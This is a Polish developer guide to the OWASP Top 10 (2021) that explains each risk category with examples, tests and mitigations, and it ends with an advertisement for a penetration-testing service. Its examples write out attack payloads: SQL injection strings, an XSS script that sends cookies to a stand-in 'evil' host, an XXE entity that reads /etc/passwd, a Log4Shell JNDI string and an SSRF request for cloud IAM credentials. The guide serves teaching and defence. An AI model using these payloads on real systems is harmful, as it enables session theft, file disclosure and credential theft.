OWASP Top 10 (2021) w praktyce: przewodnik dla programistów

OWASP Top 10 (2021) to ranking najpoważniejszych ryzyk bezpieczeństwa aplikacji webowych, oparty na danych z około 500 000 aplikacji oraz ankiecie środowiskowej. Ten przewodnik omawia wszystkie dziesięć kategorii, od A01 do A10, każdą z prostą definicją, realnym przykładem oraz listą punktów do wykrywania i zapobiegania. Nazewnictwo jest zgodne z OWASP WSTG, ASVS i mapowaniem CWE, dzięki czemu każde ryzyko można powiązać z testowalnymi zabezpieczeniami.

A01: Broken Access Control (błędna kontrola dostępu)

Broken Access Control oznacza, że aplikacja nie egzekwuje tego, co uwierzytelniony (lub anonimowy) użytkownik może zrobić. W 2021 kategoria awansowała na miejsce 1 — 94% testowanych aplikacji miało jej jakąś postać. Obejmuje IDOR (Insecure Direct Object Reference), brak kontroli na poziomie funkcji, wymuszone przeglądanie uprzywilejowanych URL oraz manipulację tokenem JWT lub ciasteczkiem. Główną przyczyną jest niemal zawsze zaufanie identyfikatorowi lub roli od klienta bez ponownego sprawdzenia właściciela na serwerze przy każdym żądaniu. Kontrola dostępu musi być egzekwowana po stronie serwera; cokolwiek klient może zmienić, nie jest zabezpieczeniem.

  • Realny przykład: aplikacja bankowa udostępnia GET /api/accounts/12345/statements. Zmiana 12345 na 12346 zwraca wyciągi innego klienta, bo serwer nie sprawdza, czy konto należy do zalogowanego użytkownika — klasyczny IDOR (CWE-639).
  • Test: zaloguj się jako użytkownik A i poproś o identyfikatory obiektów użytkownika B; odpowiedź 200 zamiast 403/404 potwierdza podatność. Automatyzuj z Burp Autorize lub ręcznym enumerowaniem ID.
  • Zapobieganie: egzekwuj własność na serwerze — WHERE owner_id = :session_user w każdym zapytaniu, nie tylko ukrycie w UI.
  • Zapobieganie: domyślnie odmawiaj (deny by default); wymagaj jawnego nadania uprawnień dla każdego zasobu i akcji.
  • Zapobieganie: używaj nieprzewidywalnych identyfikatorów (UUIDv4) jako obrony w głąb, a nie jako właściwego zabezpieczenia.
  • Odniesienie: OWASP WSTG-ATHZ, CWE-284/CWE-639; testuj eskalację poziomą i pionową.

A02: Cryptographic Failures (błędy kryptograficzne)

Ta kategoria, wcześniej 'Sensitive Data Exposure', została przemianowana, by skupić się na przyczynie źródłowej: błędach kryptografii (lub jej braku) narażających dane w tranzycie i w spoczynku. Obejmuje transmisję jawnym tekstem, słabe lub przestarzałe algorytmy (MD5, SHA-1, DES, RC4), zaszyte lub wielokrotnie używane klucze, słabą losowość i nieprawidłową walidację certyfikatów. Pierwsze pytanie brzmi zawsze: które dane wymagają ochrony prawnej (PII, zdrowotne, płatnicze, poświadczenia) i czy faktycznie są szyfrowane wszędzie, gdzie się znajdują i przemieszczają?

  • Realny przykład: aplikacja przechowuje hasła jako niesolone skróty MD5. Jeden wyciek bazy pozwala złamać większość z nich w kilka godzin za pomocą tęczowych tablic i łamania na GPU (CWE-916).
  • Test: sprawdź TLS narzędziem testssl.sh lub SSL Labs — oznacz TLS 1.0/1.1, słabe szyfry i brak HSTS. Przeszukaj kod pod kątem MD5/SHA1 na sekretach i zaszytych kluczy.
  • Zapobieganie: haszuj hasła algorytmem Argon2id (lub bcrypt/scrypt), nigdy szybkimi funkcjami skrótu; używaj unikalnej soli dla każdego użytkownika.
  • Zapobieganie: wymuszaj TLS 1.2+ wszędzie, włącz HSTS i wyłącz przestarzałe protokoły oraz zestawy szyfrów.
  • Zapobieganie: szyfruj dane wrażliwe w spoczynku za pomocą AES-256-GCM; zarządzaj kluczami w KMS/HSM, rotuj je i nigdy nie umieszczaj w repozytorium.
  • Odniesienie: OWASP WSTG-CRYP, ASVS V6 (kryptografia), V9 (komunikacja); zgodnie z PCI DSS i RODO.

A03: Injection (wstrzyknięcie)

Injection występuje, gdy niezaufane dane są interpretowane jako część polecenia lub zapytania — SQL, NoSQL, polecenie systemowe, LDAP, ORM czy język wyrażeń. Cross-Site Scripting (XSS) w 2021 połączono z tą kategorią, bo jest wstrzyknięciem do kontekstu HTML/JS przeglądarki. Wspólny defekt: dane i kod dzielą jeden kanał, a interpreter nie potrafi ich rozróżnić. Injection jest niemal w pełni zapobiegalne dzięki parametryzacji, a mimo to wciąż powszechne, bo konkatenacja łańcuchów to droga najmniejszego oporu.

  • Realny przykład: zapytanie budowane jako "SELECT * FROM users WHERE name='" + input + "'" pozwala wpisać ' OR '1'='1 i obejść uwierzytelnianie, a w gorszych przypadkach ; DROP TABLE ... (CWE-89).
  • Realny przykład (XSS): pole komentarza renderowane bez kodowania pozwala uruchomić <script>fetch('//evil/'+document.cookie)</script> w przeglądarce każdego czytelnika (CWE-79).
  • Test: fuzzuj wejścia znakami ', ", ; i listami ładunków; użyj sqlmap oraz analizy statycznej (Semgrep, CodeQL) do wykrycia zapytań budowanych ze stringów.
  • Zapobieganie: używaj zapytań parametryzowanych / prepared statements lub dobrze skonfigurowanego ORM — nigdy nie sklejaj wejścia użytkownika z zapytaniem.
  • Zapobieganie (XSS): kodowanie wyjścia zależne od kontekstu, ścisła Content-Security-Policy i automatyczne escapowanie frameworka zamiast dangerouslySetInnerHTML.
  • Odniesienie: OWASP WSTG-INPV, CWE-89/CWE-79/CWE-78.

A04: Insecure Design (niebezpieczny projekt)

Insecure Design to nowa kategoria z 2021 obejmująca wady w samej architekturze lub logice biznesowej — nie błędy implementacji. Nie da się załatać brakującego zabezpieczenia, którego nigdy nie zaprojektowano. Wymaga modelowania zagrożeń, bezpiecznych wzorców projektowych i architektur referencyjnych stosowanych zanim powstanie kod. Idealnie zaimplementowana funkcja wciąż może być niebezpieczna, jeśli projekt nie uwzględnił przypadków nadużyć.

  • Realny przykład: sklep pozwala użyć kuponu bez limitu, bo projekt zakładał jedno użycie na zamówienie, lecz nie uwzględnił żądań współbieżnych — napastnicy ścigają się przy finalizacji, by kumulować rabaty (CWE-840).
  • Realny przykład: reset hasła oparty na pytaniach pomocniczych ('panieńskie nazwisko matki'), które są publicznie dostępne — słabością jest sam projekt.
  • Test: przeprowadź modelowanie zagrożeń (STRIDE) dla nowych funkcji; dla każdego przepływu pytaj 'jak napastnik to nadużyje?', a nie tylko 'czy działa?'.
  • Zapobieganie: ustal bezpieczne wzorce projektowe i utwardzoną architekturę referencyjną; wymagaj modelowania zagrożeń dla krytycznych przepływów.
  • Zapobieganie: pisz testy przypadków nadużyć obok funkcjonalnych; egzekwuj limity, kwoty i reguły biznesowe po stronie serwera.
  • Odniesienie: OWASP WSTG-BUSL, ASVS V1 (architektura), OWASP Threat Modeling.

A05: Security Misconfiguration (błędna konfiguracja)

Security Misconfiguration obejmuje niebezpieczne ustawienia domyślne, niekompletne konfiguracje, gadatliwe komunikaty błędów, zbędne włączone funkcje oraz niezałatane lub domyślne konta. XML External Entities (XXE) włączono tu w 2021. Wraz z rosnącą konfigurowalnością systemów w chmurze, kontenerach i frameworkach, błędna konfiguracja stała się jednym z najczęstszych znalezisk — pojedyncze niebezpieczne ustawienie (otwarta konsola admina, permisywny CORS) może zniweczyć poprawny kod.

  • Realny przykład: bucket S3 lub instancja Elasticsearch pozostają publicznie odczytywalne bez uwierzytelniania, ujawniając miliony rekordów — nawracająca przyczyna dużych wycieków (CWE-16/CWE-732).
  • Realny przykład (XXE): parser XML z włączonymi encjami zewnętrznymi przetwarza <!ENTITY xxe SYSTEM 'file:///etc/passwd'>, wyciekając pliki lokalne (CWE-611).
  • Test: skanuj narzędziami Nuclei, Nikto lub skanerami postawy chmury (ScoutSuite, Prowler); sprawdź brak domyślnych poświadczeń, listingu katalogów i stack trace w produkcji.
  • Zapobieganie: utwardzaj z powtarzalnym, zautomatyzowanym wzorcem (IaC + CIS Benchmarks); usuwaj nieużywane funkcje, porty i przykładowe aplikacje.
  • Zapobieganie: wyłącz encje zewnętrzne w parserach XML; zwracaj ogólne błędy, ustaw nagłówki bezpieczeństwa (CSP, X-Content-Type-Options, HSTS), ogranicz CORS do jawnych origin.
  • Odniesienie: OWASP WSTG-CONF, CWE-16; traktuj konfigurację jak wersjonowany, recenzowany kod.

A06: Vulnerable and Outdated Components (podatne i przestarzałe komponenty)

Nowoczesne aplikacje to w większości kod zewnętrzny — biblioteki, frameworki, środowiska uruchomieniowe i kontenery. Kategoria obejmuje uruchamianie komponentów ze znanymi podatnościami (CVE), wersji nieobsługiwanych lub przestarzałych oraz nieświadomość tego, co faktycznie się uruchamia. Ponieważ komponent działa z pełnymi uprawnieniami aplikacji, jedna podatna zależność może skompromitować całość. Log4Shell (CVE-2021-44228) i wyciek Equifax (Apache Struts CVE-2017-5638) wywodzą się z tej kategorii.

  • Realny przykład: aplikacja dostarcza Log4j 2.14; napastnik wysyła wartość nagłówka ${jndi:ldap://evil/x}, która wyzwala zdalne wykonanie kodu przez Log4Shell (CVE-2021-44228).
  • Test: uruchamiaj analizę składu oprogramowania (SCA) — OWASP Dependency-Check, npm audit, pip-audit lub Snyk — w CI i przerywaj build przy CVE wysokiego priorytetu.
  • Test: generuj i utrzymuj SBOM (CycloneDX lub SPDX), by w kilka minut odpowiedzieć 'czy nas to dotyczy?' po ogłoszeniu nowego CVE.
  • Zapobieganie: usuwaj nieużywane zależności; łataj wg zdefiniowanego SLA; pobieraj tylko z oficjalnych źródeł z kontrolą integralności (pliki lock, weryfikacja hasha/podpisu).
  • Zapobieganie: preferuj aktywnie utrzymywane biblioteki; traktuj porzucone zależności jako ryzyko do wymiany.
  • Odniesienie: CWE-1104 i OWASP Dependency-Check.

A07: Identification and Authentication Failures (błędy uwierzytelniania)

Wcześniej 'Broken Authentication', ta kategoria obejmuje słabości potwierdzania tożsamości: credential stuffing, brute force, słabe lub domyślne hasła, wadliwe zarządzanie sesją i brak uwierzytelniania wieloskładnikowego. Jeśli napastnik może stać się innym użytkownikiem, większość pozostałych zabezpieczeń traci znaczenie. Zarządzanie sesją to połowa sprawy — mocne logowanie niewiele znaczy, jeśli token jest przewidywalny, nie jest rotowany po zalogowaniu lub nie jest unieważniany przy wylogowaniu.

  • Realny przykład: API nie ma ograniczenia tempa logowania, więc napastnicy odtwarzają listę wyciekłych haseł (credential stuffing) i przejmują tysiące kont używających tych samych haseł (CWE-307).
  • Realny przykład: identyfikatory sesji są ujawniane w URL i nie są rotowane po uwierzytelnieniu, co umożliwia fiksację sesji (CWE-384).
  • Test: sprawdź blokadę konta / rate limiting, politykę haseł, wygasanie sesji i rotację tokenów; zweryfikuj, że MFA nie da się obejść przez alternatywny przepływ.
  • Zapobieganie: wdróż MFA, sprawdzaj hasła względem list wycieków (Have I Been Pwned / API k-anonimowości), wyłącz domyślne poświadczenia.
  • Zapobieganie: sprawdzony framework sesji; tokeny o wysokiej entropii, ciasteczka HttpOnly/Secure/SameSite, rotacja przy logowaniu, wygaszanie sesji, rate limiting.
  • Odniesienie: OWASP WSTG-ATHN, ASVS V2 (uwierzytelnianie) i V3 (sesje).

A08: Software and Data Integrity Failures (błędy integralności)

Nowa kategoria z 2021 skupiona na kodzie i infrastrukturze, które nie chronią przed naruszeniem integralności: niepodpisane aktualizacje, niezaufana deserializacja i skompromitowane potoki CI/CD. Insecure Deserialization z listy 2017 zostało tu włączone. Kategoria zyskała na znaczeniu wraz z atakami na łańcuch dostaw jak SolarWinds, gdzie zaufany mechanizm aktualizacji dostarczył złośliwy kod. Wspólnym mianownikiem jest zaufanie danym, kodowi lub aktualizacji bez weryfikacji ich źródła i integralności.

  • Realny przykład: aplikacja deserializuje obiekt Java/PHP/Python od użytkownika bez walidacji; spreparowany ładunek wyzwala zdalne wykonanie kodu podczas deserializacji (CWE-502).
  • Realny przykład: potok CI pobiera skrypt budujący z niezapinowanego, zmiennego źródła; kompromitacja wstrzykuje backdoora do każdego wydania (CWE-345).
  • Test: zinwentaryzuj wszystkie punkty deserializacji i mechanizmy auto-aktualizacji; przejrzyj CI/CD pod kątem niepodpisanych artefaktów i niezapinowanych zależności.
  • Zapobieganie: unikaj natywnej deserializacji niezaufanych danych — używaj JSON ze ścisłym schematem; jeśli to nieuniknione, wymuszaj listy dozwolonych typów i kontrole integralności.
  • Zapobieganie: weryfikuj podpisy cyfrowe aktualizacji, zależności i wtyczek; pinuj wersje; zabezpiecz potok (agenci z minimalnymi uprawnieniami, chronione gałęzie, podpisane commity/artefakty — Sigstore/SLSA).
  • Odniesienie: CWE-502/CWE-829; framework SLSA dla łańcucha dostaw.

A09 i A10: Błędy logowania/monitorowania oraz SSRF

A09 Security Logging and Monitoring Failures: bez odpowiedniego logowania, wykrywania i reagowania naruszenia pozostają niezauważone — czas przebywania napastnika mierzy się w setkach dni. Obejmuje niezalogowane zdarzenia bezpieczeństwa, logi bez szczegółów, niemonitorowane logi oraz brak alertów i procesu reagowania. Nie jest wykorzystywana bezpośrednio; jej brak sprawia, że każdy inny atak przebiega niewykryty.

A10 Server-Side Request Forgery (SSRF): nowa pozycja z 2021, dodana głównie przez ankietę środowiskową. Występuje, gdy aplikacja pobiera zdalny zasób po URL, którego nie waliduje, pozwalając napastnikowi zmusić serwer do żądań do niezamierzonych celów — usług wewnętrznych, endpointów metadanych chmury lub dowolnych hostów. Szczególnie groźne w chmurze, gdzie usługa metadanych (169.254.169.254) może wydać tymczasowe poświadczenia.

  • A09 przykład: napastnik przez tygodnie łamie konta admina; ponieważ nieudane logowania nie są logowane ani alarmowane, kompromitację wykrywa się dopiero, gdy dane pojawiają się na sprzedaż (CWE-778).
  • A09 test/zapobieganie: loguj logowania, błędy kontroli dostępu i serwerowe błędy walidacji z kontekstem (kto/co/kiedy/źródło), ale nigdy sekretów ani pełnych PII; centralizuj do odpornego na manipulacje SIEM; definiuj progi alertów (credential stuffing, eskalacja, masowy eksport) i ćwicz plan reagowania (NIST SP 800-61). ASVS V7.
  • A10 przykład: funkcja podglądu obrazu pobiera URL użytkownika; napastnik wysyła http://169.254.169.254/latest/meta-data/iam/security-credentials/ i wykrada poświadczenia IAM chmury — schemat za wyciekiem Capital One z 2019 (CWE-918).
  • A10 test: testuj każdą funkcję pobierającą URL (webhooki, podglądy, importy, generatory PDF) z wewnętrznymi IP, localhost, IP metadanych chmury i alternatywnym kodowaniem/przekierowaniami.
  • A10 zapobieganie: lista dozwolonych hostów i schematów; odrzucaj wewnętrzne/zarezerwowane zakresy (RFC 1918, link-local, loopback) po rozwiązaniu DNS; ponownie waliduj finalny IP przeciw DNS-rebinding; wymuszaj IMDSv2 i minimalne uprawnienia roli instancji.
  • Odniesienie: A09 OWASP WSTG-BUSL / ASVS V7 / NIST SP 800-61; A10 OWASP WSTG-INPV-19, CWE-918.

Najważniejsze

  • OWASP Top 10 (2021) powstaje na danych z ~500 000 aplikacji; A01 Broken Access Control to najczęstsze ryzyko.
  • Trzy kategorie są nowe w 2021: A04 Insecure Design, A08 Software and Data Integrity Failures i A10 SSRF.
  • Injection (A03) obejmuje teraz XSS, a A02 przenosi dawne 'Sensitive Data Exposure' na przyczynę źródłową.
  • Kontrola dostępu i obsługa wejścia muszą być egzekwowane po stronie serwera — nigdy nie ufaj ID, rolom ani URL od klienta.
  • Większość kategorii jest testowalna: mapuj każdą na OWASP WSTG, ASVS i CWE oraz wpinaj testy w CI (SCA, SAST, DAST).
  • Lista to priorytetyzowany fundament świadomości, nie wyczerpująca lista kontrolna — łącz ją z modelowaniem zagrożeń i ASVS.

FAQ

Co zmieniło się między OWASP Top 10 2017 a 2021?+

W 2021 dodano trzy nowe kategorie — A04 Insecure Design, A08 Software and Data Integrity Failures oraz A10 SSRF. Broken Access Control awansował na A01, Injection wchłonął XSS, a 'Sensitive Data Exposure' przeformułowano na A02 Cryptographic Failures, by podkreślić przyczynę zamiast objawu.

Czy OWASP Top 10 to kompletna lista kontrolna bezpieczeństwa?+

Nie. To priorytetyzowany dokument świadomościowy o najpoważniejszych ryzykach, oparty na realnych danych. Do dokładnej weryfikacji użyj OWASP ASVS (Application Security Verification Standard) i WSTG (Web Security Testing Guide), które dają szczegółowe, testowalne wymagania.

Jak CWE i CVSS wiążą się z OWASP Top 10?+

Każda kategoria Top 10 mapuje się na zestaw wpisów CWE (Common Weakness Enumeration) opisujących typy słabości. CVSS (Common Vulnerability Scoring System) służy następnie do oceny ważności konkretnego znalezionego wystąpienia, niezależnie od jego kategorii.

Które ryzyko z OWASP Top 10 jest najczęstsze?+

A01 Broken Access Control. W zbiorze danych z 2021 aż 94% testowanych aplikacji wykazywało jakąś formę błędnej kontroli dostępu, co czyni ją zarówno najczęstszą, jak i jedną z najbardziej dotkliwych kategorii.

Chcesz wiedzieć, które z tych dziesięciu ryzyk dotyczą Twojej aplikacji już teraz? MonMyIP przeprowadza testy penetracyjne zgodne z OWASP, mapując każde znalezisko na WSTG i CVSS wraz z konkretną rekomendacją naprawy. Zamów zakresowany audyt.